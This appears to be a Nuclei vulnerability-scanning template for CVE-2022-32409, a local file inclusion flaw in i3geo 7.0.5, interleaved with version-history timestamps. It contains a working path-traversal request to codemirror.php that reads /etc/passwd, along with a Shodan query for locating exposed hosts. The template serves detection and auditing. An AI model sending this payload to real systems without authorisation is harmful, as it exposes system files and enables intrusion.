2022-07-21 02:30:33 +00:00
id : CVE-2022-32409
info :
2022-07-26 13:45:11 +00:00
name : Portal do Software Publico Brasileiro i3geo 7.0.5 - Local File Inclusion
2022-07-21 02:30:33 +00:00
author : pikpikcu
severity : critical
2022-07-26 13:45:11 +00:00
description : Portal do Software Publico Brasileiro i3geo 7.0.5 is vulnerable to local file inclusion in the component codemirror.php, which allows attackers to execute arbitrary PHP code via a crafted HTTP request.
2023-09-06 11:59:08 +00:00
remediation : |
Apply the latest patch or upgrade to a newer version of i3geo to fix the LFI vulnerability.
2022-07-21 02:30:33 +00:00
reference :
- https://github.com/wagnerdracha/ProofOfConcept/blob/main/i3geo_proof_of_concept.txt
2022-07-21 08:08:51 +00:00
- https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion
2022-07-26 13:45:11 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-32409
2022-07-21 08:08:51 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2022-32409
2023-08-31 11:46:18 +00:00
cwe-id : CWE-22
2023-10-19 10:38:59 +00:00
epss-score : 0.6578
2023-11-01 14:45:21 +00:00
epss-percentile : 0.97547
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:softwarepublico:i3geo:7.0.5:*:*:*:*:*:*:*
2022-07-21 07:44:37 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 11:59:08 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : softwarepublico
product : i3geo
2023-09-06 11:59:08 +00:00
shodan-query : http.html:"i3geo"
2022-07-21 02:30:33 +00:00
tags : cve,cve2022,i3geo,lfi
2023-04-27 04:28:59 +00:00
http :
2022-07-21 02:30:33 +00:00
- method : GET
path :
- "{{BaseURL}}/i3geo/exemplos/codemirror.php?&pagina=../../../../../../../../../../../../../../../../../etc/passwd"
matchers-condition : and
matchers :
- type : regex
regex :
- "root:[x*]:0:0"
- type : status
status :
- 200
2023-11-02 07:14:22 +00:00
# digest: 490a004630440220585f4a961c7bc3ec4bdda03ff236c6d60deb2be657d1cc72fe73c4190b63f826022075bef5cfe0dfc174940e5fc7680784d80c3bdab1182f66858fe7f9c5aa3b1b0c:922c64590222798bb761d5b6d8e72950